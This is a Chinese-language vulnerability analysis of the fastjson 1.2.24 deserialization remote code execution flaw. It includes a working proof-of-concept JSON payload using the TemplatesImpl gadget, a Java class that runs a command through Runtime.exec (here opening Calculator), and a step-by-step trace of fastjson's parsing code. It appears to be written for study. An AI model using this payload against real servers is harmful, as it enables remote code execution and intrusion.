0x01 简介
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
0x02 利用条件
Version <= 1.2.24
可以利用 1.2.22 <= Version <= 1.2.24,因为此后才支持
SupportNonPublicField
使用
parseObjext
解析且开启Feature.SupportNonPublicField
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
0x03 Poc
实际上_outputProperties
也可以用outputProperties
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["恶意类的base64encode"],
"_name" : "Sariel.D",
"_tfactory" : {},
"_outputProperties" : {}
}
编译为.class
后填充到_bytecodes
中即可
// Poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() {
try {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} catch (IOException e) {}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
0x04 漏洞逻辑
使用parseObject方法进行反序列化,通过这种方法返回的是一个JSONObject
// 通过parse方法进行反序列化
User user = (User)JSON.parse(serializedStr);
// test.User@4e515669
// 通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject
Object ob = JSON.parseObject(serializedStr);
// {"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
// 通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
// test.User@1b9e1916
跟入
public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) {
if (input == null) {
return null;
} else {
if (features != null) {
Feature[] var6 = features;
...
}
// 预解析内容和选项
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
...
// 获取目标对象类型
T value = parser.parseObject(clazz, (Object)null);
...
}
}
fastjson
调用DefaultJSONParser
进行预解析,通过第一个字符{
判定lexer.token
为12
// com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
...
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
第二步获取目标对象类型
// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.lang.reflect.Type, java.lang.Object)
public <T> T parseObject(Type type, Object fieldName) {
int token = this.lexer.token();
if (token == 8) {
...
} else {
if (token == 4) {
...
}
// 获取目标对象反序列化解析器
ObjectDeserializer derializer = this.config.getDeserializer(type);
try {
// 执行反序列化
return derializer.deserialze(this, type, fieldName);
} catch (JSONException var6) {
...
}
}
}
目标是Object
// com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)
public ObjectDeserializer getDeserializer(Type type) {
// 从内部已注册的查找目标反序列化实例
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
// ※ 第一次,这里返回 class java.lang.Object
return derializer;
} else if (type instanceof Class) {
// 根据特定类型进行查找
// 第二次,这返回 class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
return this.getDeserializer((Class)type, type);
} else if (type instanceof ParameterizedType) {
// 根据泛型类原始类型查找
Type rawType = ((ParameterizedType)type).getRawType();
// 如果是泛型原始类型是引用类型再次查找
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return
// 如果无法匹配,使用默认JavaObjectDeserializer反序列化
JavaObjectDeserializer.instance;
}
}
进入反序列化,进入到parser.parse(fieldName)
,注意到上面定义有fieladNane == (Object)null
// com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
if (type instanceof GenericArrayType) {
...
} else {
return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}
}
跟入后开始解析
// com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
...
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
...
}
}
接下这段就比较复杂,首先遇到的是第一个key@type
,然后进行了以下的判断,如果是@type
并且启用了特殊key检查的话,那么就把对应的value作为类来加载
// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
...
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
}
...
到这里感觉就是先粗加工(准备默认Object反序列化),然后根据配置信息以及预处理内容进行精加工(准备目标类型反序列化)
接着进入com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)
,在这里对目标类型进行各种比较,如果是常见类直接返回相应实例,fastjson也内置了一些常见的反序列化方法,由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
并不常见,且不再黑名单中,所以最后调用createJavaBeanDeserializer
进行反序列化,
接着调用JavaBeanInfo.build
// com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer
public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){
this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));
}
在com.alibaba.fastjson.util.JavaBeanInfo#build
里,会把目标类的方法和字段遍历一遍,分不同情况进行处理。类里面没有用@JSONField
标记过的方法需要满足一些条件才能被加到列表里
比如需要满足以下条件的setter
- 函数名长度 >= 4
- 非静态函数
- 返回类型要么是
void
要么是当前类 - 参数只有一个
- 方法名需要以
set
开头
这些方法是典型的类成员变量的setter
方法。通过这些方法的名字可以推测出对应的成员变量的名字。除了按照javaBean的规范来解析,fastjson还会推测一些其他的写法。
- 第4个字母大写或者是
Unicode
,取set
后面的字符并将第一个字符转成小写当做变量名 - 第4个字母是
_
,取_
后面的字符当做变量名 - 第4个字母是
f
,取set
后面的字符当做变量名 - 第5个字母大写或长度大于等于5,取
set
后面的字符在TypeUtils.decapitalize
中决定是否小写首字符
满足以下条件的getter
- 函数名长度 >= 4
- 非静态函数
- 函数名称以
get
起始,且第四个字符为大写字母 - 函数没有入参
- 继承自
Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
以及 Field
– 条件暂时不看
通过解析目标类中的method预测fields进行填充后,准备反序列化
在这里循环fields
先赋默认值再进行匹配赋值
// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
if (fieldIndex < this.sortedFieldDeserializers.length) {
fieldDeser = this.sortedFieldDeserializers[fieldIndex];
fieldInfo = fieldDeser.fieldInfo;
fieldClass = fieldInfo.fieldClass;
feildAnnotation = fieldInfo.getAnnotation();
}
while(true){
label978: {
label1008: {
boolean matchField = false;
boolean valueParsed = false;
Object fieldValue = null;
if (fieldDeser != null) {
...
}
if (!matchField) {
...
}
if (object == null && fieldValues == null) {
...
}
if (matchField) {
...
} else {
boolean match = this.parseField(parser, key, object, type, fieldValues);
...
}
}
}
}
...
}
进入parseFiled进行解析,首先经过smartMatch对目标变量进行处理,这里会删除下标_
// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
...
FieldDeserializer fieldDeserializer = this.smartMatch(key);
...
if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
...
}
if (fieldDeserializer == null) {
...
} else {
...
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;
}
}
再进入对应的反序列器的parseField
方法,首先通过反序列化获取值,再通过setValue
进行赋值
// com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
...
Object value;
if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
...
} else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
...
} else {
value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
}
if (parser.getResolveStatus() == 1) {
...
} else if (object == null) {
...
} else {
this.setValue(object, value);
}
}
_bytecodes
解析时会进入com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
调用bytesValue
,这里先解码一次base64
// com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}
当执行到_outputProperties
时,通过smartMatch匹配到对应函数为getOutputProperties
,之后进入赋值
Properties 继承 Hashtable 实现了 Map,进入反射
接下来就是连续调用
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
...
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
...
}
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
...
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
这里需要注意一点,Poc
类需要继承自AbstractTranslet
,否则会抛出异常
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
...
}
...
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
...
攻击链
getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()
偷懒大法,贴上调用链
参考资料
private
成员变量的处理:https://xz.aliyun.com/t/178#toc-2- ※ 补丁绕过:https://p0sec.net/index.php/archives/123/
- ※ 利用思路:https://5alt.me/2017/09/fastjson调试利用记录/
- 利用
TemplatesImpl
作者:http://xxlegend.com/2017/04/29/title-%20fastjson%20远程反序列化poc的构造和分析/